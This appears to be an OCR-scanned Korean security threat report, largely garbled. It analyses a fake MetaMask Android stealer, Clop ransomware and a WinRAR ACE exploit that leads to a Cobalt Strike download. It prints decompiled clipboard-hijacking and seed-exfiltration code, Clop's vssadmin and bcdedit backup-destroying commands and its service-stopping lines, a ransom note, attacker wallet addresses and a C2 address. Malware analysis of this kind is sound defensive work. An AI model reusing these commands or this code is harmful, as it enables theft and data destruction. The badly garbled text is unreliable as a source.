2017 AH MAECZ AssiH 20| =0 2 ME*EOI US| HHE AESk= A7 |7t =IICE O[2: A
oiHS2 Y=2MIE il= SAS Alol/LT HE0E RE = Tchke| MIKS ssloil i< ok th7t=
ASSHS 76t UL siAHS0| Y==E *.Jiﬁl"— Ol= FX50] 0HRH EH0| EO0[okr 20| &&7|
IH=0|LCt. Trojan.Android.InfoStealer = EHIY A0 HZAE £|=O| US| EHF| AEM0|H 1=
SH0|AENS Soll RE 0] 11 Hakdo] & ALk sHilCt

2 24 HOM0M= X[ 2 2ol 1= S20|AE0{0fA HAE M S M| YSSHIE ZF{ok= U2l
“Trojan.Android.InfoStealer” AHET=Z SHILCT
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0] 24 HIAMQ| 24 TAQ! Trojan.Android.InfoStealer = W[GHXIR| ADEEOf|A LsHAE | H2li5H =
USHE ohiAH2| XIUCZE EUTE Riroh= S4S Aot MX| 2 =27 SZXC| X|Ze=
TEEIZS LG 24 LiES AHE =S SCt,

X Trojan.Android.InfoStealer 2| 34 SE= ATH 2 = o712 US| X2 3| LIGS AT 2 EHE
USSIHE HH6H= 72| XS ML) 12|11 OX|2EC 2 Trojan.Android.InfoStealer 2] FEES MA| 2Aok=
202 HIIME OFF2[oIACt

1 5= 3. 28UEE ZA|
ﬁ\s. S2EEQ|
Y XgdFEL HE
Fake

MetaMask 2 Aqul L )

B> Google Play 4, AN

7317 X|ge=

@ CoinMarketCap

bithumbd

UPbit

121 s34 55

S U HS USSH| X2 =7 MetaMask 2| HIY HFQI 24k 2SI 12 E20|AE 00|
S=U MetaMask = == XIS AR[O= 7] = X 273 2| o= 12 3= HefRA9
2y HeR M =3I AT MetaMask £ AkZotl ARE AEXIZ0| EFI0|H LiohAtE2 2fd WOl MetaMask 2
HHIY HTHRIACZ Q01610 EXIZ S| Ef= 20|t g ¥ Xt 2=EH SEEES ZA ot E[
ORIt e==HHE Hetor | #loh Apile] XZFAS SEECEH SAloks 2t shi72| X2 =42 HHHA| =T,
OIF 2IX[okX| =gt TohRt= ==t HeHE TilopA| £l fsstti= o] X[z HMEEC)

= -

ESTsecurity



03 oz

A

M HT

2.2 o] Xt
"0 Het SA0f I ARI0| USTREND Qofaligt = QUKL SHH| XIS ZafoH HH MLt B2 L2

IS0 2K = 4= GICL Ol ZOH=27| 2ol ofi7{2| HIEZ QI X[ZS Z=afol| 2T,
ord Mol SI=TE =[O U= S| HIETQI X2 A1 “17M66AG2uQ5YZLFEMKGpzbzh4F1ESFWKkmA”
KZ5H ol 2= oAt

o o = L ==
CHE 22 oM Aoj ot= 2 &[0 U= HIEZQI KT FAE X3[5t QOR=O0|CY,
29 72
ZA  17MB6AG2UQ5YZLFEMKGpzbzhAEIESFWKMA Hej %= 6
Hash 459d526dca5c375a58200825828221554a53¢6 5 Mg 0.12868189 BTC
160
X F ThoH 0BTC

(724 2] sii74e] HIETOI Rzt 20} Liig

Chs 182 Tolikte] XIZ0IA sHA2] XLz TSkEl= HIETQ! H2HLHHOICY,

17434a43032ac05099942d1 3b834900c5a7050e7 47 0a5e580e62200847 2018-12-0€ 12:03:07

XyfaClasn6KG Y LX T4povaYIKyE pH [4 SIMEBAG20ESY 2L FEMKGpzbzhaF 1 ESFWKmMA 0.05245737 i-“'-i]

0.05245737 BTC

[ 3] TRt RISt RRACZ HIETR 0| TH5E 7 [=

ofi7{2| HIETQI X2t QoFS HTHEM Hafi = 6 40|11 L2 TH2f 0.128 BTC(itcoin) O] = 0 BTC
OICt. O] ZatZt =1 2H ot A7t JZA X Tl 42 o 2L QO Lt HSE2 LHH0| US0=
ZI40] 0 OJ2t= A2 OfE7 (= THA| MFHS0| HOG= 2|0[0[H OO sHH2| ChE X 20| 2 AO|CL
A=elHE EFlotALE F8et Y= 2Soh= ofiFiS=2 FXIE ot O o7 | floll tHE| XIZ=E
AHSH] EREHT,

Chs 282 o7 XM I THE XY2= THEok= 72t LHHOIT, 9 239f TisHAIAIN &SR HIEZRRI

/|0 U= AE g+ AT

—

mjo

11853 cci3abad 5545 3c0bAMIa MBS 3c63173807a 1040846 1205467 10133560 2018-12-12 12:45:35

-0.05245737 BTC

[1,"!.1',r‘»,~'+-j.'.‘.J<;-:v" ZLFEMKGpzbzhdF 1ESFWKmMA WA KK IR WaSXJRTVIaZANIYDgChwR

[ 4] SiP2| HIETRI XROIM CLIE RRICZ TS5 K= L
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HI

i

.I
—

oi712] 2 Him HIET QI X242l “392LK4ZQD3gixWg5x)RTv1a24N3YDgChwP” X[ Z3[oHEAL,

Q9 Vel
T4 392LK4ZQD3gIxWESxJRTV1224N3YRaChwP Hel 11621
Hash 5070222ce20355fa52799fc2b2fdcasSbc0ade65 TAlg 166,082.77337311 BTC

o
2
12

1,027.53851668 BTC

2 A HIETQI X[Zo] 294 aHEEA ST IF T2 YO HIEZTRI0| ASS & == UM 72 411,621 24,
S22 16 TH6 M HIETQI0|H XI5 ZIH=2 1 M HIETQ! HO|C L= 7 [E0 = ZMS Rlolz ehiich 2H
7 4138 Y FO|Ct (2019 A 3 # 1BTC 2| 714 430 2HECZ AH|ih 12|11 25 TS HTHEH 0] XZ: XI5
XIZ0| Ofd SAIE XIS & 4= UL,

FOfIM ERAX0] sli77t EFfet (=i SH0H| 2% S3E WOt siH= 02 2 52| XK= OfFAH ob7| 2ol
CHC| XIS ERoll ZFlet Y= AL S 7] LIZICH Zget Ao 2ot =t

23 3=8M =4

et U= oK ke W2 SR Z ZIEISHA M= Tt oS 2k el FQ lRl= Tfohikte
SEECE ZAlolH o717t Hoh= EAIE0| SEEE0 S ER o2 XiZ a2 SEEES Ao
S et HREO[X|2 TisR7F oIS 7I201X| B3 =SS EFIGoM 2. M|l 245 Sl o4d &=

ATHEZA,

fl

=

l

2.3.1 Android Clipboard

O{EA| O SZ0| 7ts2tX| Ofoffo}/ | floii= CHE=0|E0| SEEE T30 ChHolo] 0t ERIt ULt
QIE20|=9| SEEEE Chg J2HE 20| AARUIN H2I5HH ot Sie= St #e| #f. 5, 048] 7He| 0|
St FEHE J7t2 SRIMM AR 5F= 20|}, 2|1 SEEE LHES OFX2} SH2E MEE|H 01Me| SREE

LIES AHIECE 6 20| SBEEE0 LIgS SAR 32 TXHeZ SEEE0 SAR LI AEkEk= XO0|CH,

OoOL— 1
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Android system .
Capoasrcidanager
wp CipDora

(" Copying appicaton T ChoDescription (" Pastng sppication &

’
’ — — |[_ v Mimle type
content provider m tem Crosiom i =il |
"| text  UR  Intent 3 !
3 i — I : :
\ T i

Data to paste.

[J2! 6] Android2| SRiEE T3RIF

&4 https://developer.android.com/guide/topics/text/copy-paste

o= OI™S & LlchRP | SEEE| X2 FAE B= a7t2 HAlGl0 SEEC LIS WHsk= A0|Ct
23.2Cipboad 2N S5

CI20| FIC= A|AEIO| SRIHEE ZH[6l= TEE SE6)= F=0|Ct

":‘é_:‘;-:-f v2 = this.getSystemService(“clipboard”);
((ClipboardaManager)v2).addPrimaryClipChangedlistenen(new CLf phoargMenagersOnPrimaryClipChangedlistensr
public voxd onPrlnaryChpChanged() {
------- B - ki iml T rl Smbmmnmed mwrmo Tl N enChanin~iN.

[ 7] SEE=E A E fR2H S8 I
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lic void onPrimaryClipChanged() {
String charSequence = clipboardManager.getText().toString();
int length = charSequence.length();
String valueOf = String.valueOf(charSequence.charAt(@));
String valueOf2 ~ String.valueOf(charSequence.charAt(1l));
StringBuilder stringBuilder =« new StringBuilder();
stringBuilder.append(valueof);
stringBuilder.append(value0f2);
valueOf2 = stringBuilder.toString();
if (valueOf.equals(“1") 88 length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc", “17MG6AG2UQSYZLFEMKGpzbzhaF1ESFWkmA") )}
} else if (valueOf.equals("3") &3 length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc"”, "17ME6AG2UQSYZLFEMKGpzbzhaF1ESFWkmA"));
} else if (valueOf2.equals(“@x") &8 length == 42) {

1 alea S

clipboardManager.setPrimaryClip(ClipData.newPlainText(“eth", "“8xfbbb2EF69285101f16d3632F836461904761965"));

[ 8] SRE=0| LIgS Hsk=TE
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&2 I Hiop |0 SEE =] LIEO] X2 FARIK| 2= EXfiok= F400X| S5 2lRlokK|= B,
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Cte 282 7 X[ 7|52 XISk alHS0IC.
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m n RESTORE VALLT
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C+S J2I2 RESTORE VAULT o] T LERO|Ct

WalletSeedActivity.this.posswordr.getText().clear();
WalletSeedActivity.this.confirm_passwordr.getText().clear();
WalletSeedActivity.this.voult_txt.getText().clear();
String v2 = Method.getDeviceName();

s i(WalletSeedActivity.this.TAG, v2);

vb = "**From Meta Mask App** \n Phone Model " + v2 + "\n\n\n**Account Restoration** \nNew Password: " + v6 +

v6 = Method.agpilink + Method.botoken + Method.sendMsg + Method.occ_id + Method.texti + v6;
try {
new AsyncHttpClient().get(v6, null, new AsyncHttpResponseHandler() {
public void onFailure(int argl, Headerf} arg2, byte[] arg3, Throwadble argd) {
String vl = this.this$l.this$6.7AG;
og.i(vl, “Send Failed” + argd);
Toast.makeText(this.this$1.this$@, "Retry, Something went wpong”, 1).show();

}

public void onSuccess(int arg2, Header[] arg3, byte[] argd) {
String v2 = new String(argd);

try {
v2 = new J1SONObject(v2).getString(“ok");
Toast.makeText(this.this$1.this$0, “"Something Went wrong please try again later”™, 1).show();

og. i(this.thisg1.this$0.TAG, String.valueOf(v2));

}
catch(Exceotion v2 1) {

[ 10] RESTORE VAULT 32e| I=

MHEA oK 717] HHEoL et X2 4 HIZHSE ofi7e] M= Hili= XS & 4= UCL 22140
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" MetaMask
Trojan Androig 1nfoSlealer
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AOLEE0] gt BE S 71
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A

[ 11] 22iM EX| 2fH

Sl 2FM UIM= S 2 S “Trojan.Android.InfoStealer” EX| HOZ XICts}
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[Trojan.Ransom.Clop]
AHIC F4 HAIM

201992 &, 7|Z0IM AlSShe SYEE| MHAD AH)E F2 EFICZ SAS o= 1017 t ZAZIICE 7H2I0]
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2.1, 35 AR K|
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n2gAS EREIG

22, TR 2fsst

F5 WA= AEXA} 20 AMS Solt| 8 =715 &f==10iM |2l ZE PC ol HZ2E M ZXIE
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if ( (unsigned _ intl6)vl <

if ( (unsigned _ int16)vi
{
switch ( vl )

J
|

case 0x41%u:

case @x422u:
case @x423u:
case Ox428u:
case Ox42Bu:
return 1;
default:
return v@;
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vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet

net stop SQLAgent$SYSTEM BGC /y

net stop "Sophos Device Control Service" /y

net stop macmnsvc /y

net stop SQLAgentS$SECWDB2 /y

net stop "Zoolz 2 Service" /y

net stop McTaskManager /y

net stop "Sophos AutoUpdate Service" /y

net stop "Sophos System Protection Service" /y

net stop EraserSvcll710 /y

net stop PDVFSService /y

(72! 4] HHR| T LS

Ol2, &8 PC RE CIHEHZ|RE PSS Hsslolit IR0 OfLs SRANES Mol HEE HERA
':EPOI‘:U} UCHH =slts Tiett,
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Hs Torxlkﬁ’ 7] {ige= Holct,
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cFileName

3.cFileName
a.cFilelName,

cFileName,
I ET

3.cFileName,
ta.cFileName,
a.cFileName,

cFileName,

3.cFileName,
ta.cFileName,

cFilelName,
cFilelame,

3.cFileName,
ta.cFileName,
a.cFileName,

B ET
cFilelName

ta.cFilelName,
a.cFileName,

cFileName

3.cFileName,
1.cFilelName,

cFilelName,
cFilelName

3.cFileName,
3. cFilelName,
a.cFileName,

cFileName

3.cFileName,
3. cFileName,
a.cFileName,

cFileName

2.cFileName,
3.cFileName,

cFilelName,
cFilelName

3.cFileName,
[(12 5] USSR ==t 2P}
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K)s&r zrer 220y L[4[ =z0230 24 P
v EZQUAv A EG =y 0 @
o)z v SES L 2% 2] 2
L] TestJPG.Clop [ 2019-03-15 2= 3:15 jOP Y 1,708KB
L] Test2JPG.Clop 2019-03-15 2=.. CLOP ItQ 1,443KB |
|_] Test3.PDF.Clop 2019-03-15 2%.. CLOP Bt 9,673KB 3
L] Testa.gif.Clop 2019-03-35-2= . CLOP Bt 757KB
l_J Test5.pptx.Clop 2019-03-15.25. 0 (CEOP ! 32KB L3
L] Test6.mp4.Clop 2019-03-15 2=.. CLOP I} 1,821KB
L] Test7.mp4.Clop 2019-03-15 2=.. CLOP It 2,265KB
L] Test8.mp4.Clop 2019-03-15 @=.. CLOP EY 2,265K8
|| Test9.avi.Clop 2019-03-15 @=.. CLOP H}2 11,467KB
|| Test10.zip.Clop 2019-03-15 = .. P o 2,719KB
|_] Test11.JPG.Clop 2019-03-15 2% .. P O 1,275KB
L] Test12.docx.Clop 2019-03-15 @=.. CLOP I 173KB
L] ClopReadMe txt 2019-03-15 Q.. HAE 2 2K8 i

[T 6] &3t = 5fH
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IEE
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+_+Your networks has been penetrated+_»
All files on each host in the networks have been encrypted with a strong algorithm!
Backups were either encrypted or deleted or backup disks were formatted!

Shadow copies also removed, so F-8 or any other methods may damage encrypted data but not recover!
We exclusively have decryption software for vour situation!
===No DECRYPTION software is AYAILABLE in the PUBLIC:

- DO NOT DELETE readme files.
—- DO NOT RENAME OR MOYE the encrypted and readme files.
- DO NOT RESET OR SHUTDOWN - files may be damaged.
-—-THIS MAY LEAD TO THE IMPOSSIBILITY OF RECOYERY OF THE CERTAIN FILES-—4
---ALL REPAIR TOOLS ARE USELESS AND CAN DESTROY YOUR FILES |RREVERSIBLY-—-
u want to restore your files write to email!
CONTACTS ARE AT THE BOTTOM OF THE SHEET] and attach 2 - 6 encrypted files!!!

Databases, large excel sheets, backups etc...
“**You will receive decrypted samples and our conditions how to get the decoder™"”

*"+ATTENT | ON+"+

=YOUR WARRANTY - DECRYPTED SAMPLES=

~~~D0 NOT _TRY TO DECRYPT YOUR DATA USING THIRD PARTY SOFTWARE~~~
~~~4E DONT NEED YOUR FILES AND YOUR INFORMAT | ON~~~

CONTACTS EMAILS:
Rﬁgtocepnvou@protonmai | .com

unlock@eqaltech.su
unlock@royalmail.su

*x+ ATTENT | ON#++

In the letter, type your company name and site!

*""The final price depends on how fast you wrlte to us™"™”
~_#Nothing personal just business”_* C

Less than 7 Mb each, non-archived and your files should not contain valuable information!

[ 7] e 31
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Op AT HHEO] MXIZ 2J5H WinRAR ACE EI2FS] 2125l

Malspam Exploits WinRAR ACE Vulnerability to Install a Backdoor

CITRIZ0| Oh RAR O [0JES HHESHS Oy AT OIS W2 0| AHOIS ZIBE oY 3=5

2I5H MIZ0] SZE| WinRAR ACE ZIFHS QIZSH= 3 I QJAZ20l01 o= wolry,

Xt 2451 0] 19 1 SIS WinRAR UNACEV2DLL 2J0lS2{z(0f ZRY5H, S5 RAtEl ACE

O 10IE7} I At BCI0| TilS Y45 SRR 4 QIS SISICk Ol oifg 413 Iielo] Xiridg 1o
=

AEAR| TS 2721 A AtsC= A= Zi0|Ct

2Xlob |

o

o

WInRAR 7HEXIZZ2 F2fet UNACEV2.DLL 210|E2{2|2f AA FE0|

=L A [
T3 4 gl e

171 =0, IS

~dok= Al 5HE DLL MIUS AAotl 2[4 WInRAR 5.70 HIEFH HIZ0IAM ACE X[&S Z=0IRC

OfK|ZH 0|2\ ZFE(0 WIinRAR O] EX|E 2f 5 F AZAA =20| =Xl= B2, 0}
HIO|LH,

H=lo| SAXP HotHE

rr

ofifi2 B3 BRHS W00 HBAZE = U=

oM RAR OPO|EE

= 360 Threat Intelligence Center = &=
HHZZSH= O|HUS AU SHRACH,

21, 5ifd RAR OFI0[E= ALSALS| AR SH0| IiES S

A2

0| MES CHREE = ZARHE

APE @ 4 QUiC,

Bt A=t

&610' ».a-‘,_. ‘-é\ s I"' S
File Edit Search View Format Scripts Templates Tools Window Help
N-D-W@FHED $HEO@ OB s & AMAME » @~
[_Sh'_mp modified3.rar & .
. . " . - L)
Edit As: Hex ~ Run Scrint R o .
0000h: 3E SB 31 00 00 00 90 2A 2A 41 43 45 2A 2A 14 14 02 00 2E 14  >[1....**ACE**...... L4
0014nh: 56 4E A9 43 C8 A6 00 00 00 00 16 2A 55 4E 52 45 47 49 53 54 VNOCE!..... *UNREGIST
0028h: 45 52 45 44 20 56 45 52 53 49 4F 4E 2A ED D8 6A 00 01 01 80 ERED VERSION*igj...€
003Ch: 3C 14 01 00 00 BO 01 00 D1 13 56 4E 20 00 00 00 D2 94 16 F1  <....°..N.VN ...0".&
0050h: 03 OA 00 54 45 00
0064h: sC mData\Microsoft\Wind|
0078h: 74 ws\Start Menu\Prog
008Ch: 74 7 ams\ Starcup\CMSTray.
OOROh: 65 78 65 F7 A4 9C 8D 4E E1 2D FA FF 4D 4A A7 4B 17 A4 A4 F8 exe=wee.Na-uyMJSK.HHg
00B4h: 38 37 AS OE DA B3 A3 B3 BE D6 AE 7C C1 85 30 29 B2 SA OE BC 87¥.0°2:%0®|A.0)%Z.%
00C8h: 9F 4F 13 E9 DB 14 FB BC 85 05 82 DF 95 E3 FF C3 FA DF 79 1E ¥0.é0.0%._.,B-ayAa8y.
00DCh: 3D B8 D6 24 8A A3 84 AD E8 D1 47 51 87 CO C7 13 28 99 1D D1 =,085%,-eNGQ:AG. (*.N
00FOh: 9E 36 ED ED DB 7F C4 5C 39 B3 9B 16 78 F7 28 40 8F S5A F9 F1  3263i0.A\92)>.x=(@.Zafk
0104h: AF E9 FD 01 00 A0 B4 02 A2 88 13 BD AB 09 7C 99 84 81 20 A9 ~éy.. “.¢".%«.|™,. ©
0118h: 2D 6C 98 80 99 AS B7 EF F7 FB 6D 36 B7 95 DF 7E 9A 90 F3 OF -1-€™¥-i-{m6-+8~3.6.
012Ch: 1D 20 60 BA 4D 89 BF OC 29 Al 60 E2 D4 19 30 FF 61 E2 64 F8 . "°Mk;.); ' 40.0vadde
0140h: 26 C4 61 FC B4 49 BD DD 85 6F 9D 8A 95 C2 4E 82 9F 8B 3D 3F s&haiu’IN¥.o0.5-AN, %¢=2
0154n: 4B SF 8E FE F3 FD 9D 91 2F Bl EF SF 7F 7D F7 E2 S5F F6 3A CO X Zb4y.‘/+i .}:4 8:A
0168h: CF CB CA 09 FE E5 F5 E9 EE C9 43 EE 8C FD AS A7 BB 2B 43 27 IEE.padeiECiGy¥s»+C'
017Ch: 57 EB A7 2F B9 9A 93 F& 3D 91 53 93 CF 07 3F DE 81 B3 DE BC We&§/*3“e='5"1.2B.2B4
0190h: 18 FA 7C 40 FA FC ES 27 OF BD 2B C8 13 7A E6 4F 88 BF F9 01 .0|@aud’'.»s+E.ze0"¢d. _
01Agh: DO E6 17 SF Fé D3 9E 3C 27 19 3D 7B 7E 3E 62 45 1E D2 49 91 De._ 60z<'.={~>bE.OI‘'
Selected: 72 [48h] bytes (Range: 88 [58h] to 159 [9Fh]) Start: 88 [58h]  Selk 72 [48h] Size: 70879 ANSI UT W OVR

[EX{ https:/ /www.bleepingcomputer.com/news/security/malspam-exploits-winrar-ace-vulnerability—to-install-a-backdoor/
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UAC7} &3 S f O] o] U=FS Z2 1 A5, EH0| ¢l C\ProgramData G0 2AFHTES EEGHK|

= O—'—E

XEICL 0213t 2R WinRAR 2 "EIZ20| AR EIUCL”  "AI0] MIHSHCE” 2h= 0il2] HINXIS BEARIY,

A\ C:\Users\User\modified3.rar: Cannot create C:\C: \ProgramData \Microsoft\Windows \Star
Access is denied.
1\ C:\Users\User\modified3.rar: operation failed

< mn J »

[ Cose |[ greakoperation || Copytodipboard |

Total errors: 2

[EX{ https:/ /www.bleepingcomputer.com/news/security/malspam—exploits-winrar-ace~vulnerability—to-install-a—backdoor/

UAC 7} HI2FdSlEl AEfALE WInRAR O] Z2|Xt Heto = Mol 2 AR, Ol= HMTEE
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CMSTray.exe 0] &X[&t ZI0|C},

vl 1. « Microsoft » Windows » Start Menu » Programs » Startup v | ‘,ll Search Startup pl
Organize ~ Include in library ~ Share with v New folder = 0 @
b Favoiites Name Date modified Type Size
CMSTray.exe 2/22/2019 230 AM  Application 108 KB
v 4 Libraries desktop.ini 7/14/200912:54 AM  Configuration sett... 1KB
(ED Privoxy 3/11/20159:56 AM  Shortcut 1KB
> «& Homegroup
| b M Computer
b * Network
l 3 items

[EA{ https:/ /www.bleepingcomputer.com/news/security/malspam-exploits-winrar-ace~vulnerability—to-install-a—backdoor/
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04 =228 ot gt

O] CMSTray.exe 7t AFSKtL| AlEF EOE U= SHMEIACE = ARZAR | CHZ0| 22161H 0] MU0| Al
Z10|C}, ASH=|H CMSTray.exe £ Y%Temp%\wbsstv.exe Of| SAF & whssrv.exe IS Alsist 7{0|Ct

&8 cmd.exe:3084 Properties | )
Image | Performance | Performance Graph | Disk and Network | Threads | TCP/P | Security | Environment [ Job | Strings |

Image File
Windows Command Processor
Microsoft Corporation
Version:  6.1.7601.17514
Build Time: Sat Nov 20 04:00:27 2010
Path:
C:\Windows\SysWOW64\comd.exe Explore

Command line:

“C:\Windows\System32\and.exe” fu fc copy /Y "C:\ProgramDataMicrosoft\Windows \Start Menu\Programs\Startup \CMSTray. exe” %TEMP % \wbssrv.exe88cd %TEMP %&8% TEMP % \wbssrv.exe
Current directory:

C:'\sers\User\AppData'Local\Temp\
Autostart Location:

nja Explore

Parent: <Non-existent Process>(2476) Verify
User: User-PC\User
Startad:  303:15PM 2/25/019  Image: 32bit ring o Front
Comment: { Kil Process 1
VirusTotal:
Data Execution Prevention (DEP) Status: DEP (permanent)
Address Space Load Randomization: Enabled
Coc ] [ o |

[EX https:/ /www.bleepingcomputer.com/news/security/malspam—exploits-winrar-ace~vulnerability-to-install-a—backdoor/

ABHE|H, 0] QTS hitp://138.204.171.108/04| 125K Cobalt Strike Beacon DLL S Zaft CIf5t IS
Ch22 =010} Cobalt Strike Beacon 2 2% EIAE EZ, BMZIXIS0| Tlolikte] HRE| HH2Z FHEol| 2leiM =

AIZEH.

> Progress Telerik Fiddler Web Debugger - EKFiddle v.08.6 =5 |3
File Edit Rules Tools View Help Links
QuickSave Ulmode VPN Proxy Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings () #2 Replay X~ P Go -

# Result Protocol Host URL Body Caching Content-Type Process

El1 200 HTTP 138,204.171.108 /BxjL5iKId8.zip 561 application/zip wbssrv: 2580
) 2 200 HTTP Tunnel to  138.204, 171 108:443 0 bssrv: 2580
El3 200 HTTPS 138.204.171.108 frF7m 206,848 application foctet-stream whbssrv:2580
Els 200 HTTPS 138.204.171.108 /pY 0 application /octet-stream whssrv:2580

.....

it Capturing = All Processes 5

[EX] https:/ /mmw.bleepingcomputer.com/news/security/malspam-exploits-winrar-ace-vulnerability—to-install-a—backdoor/
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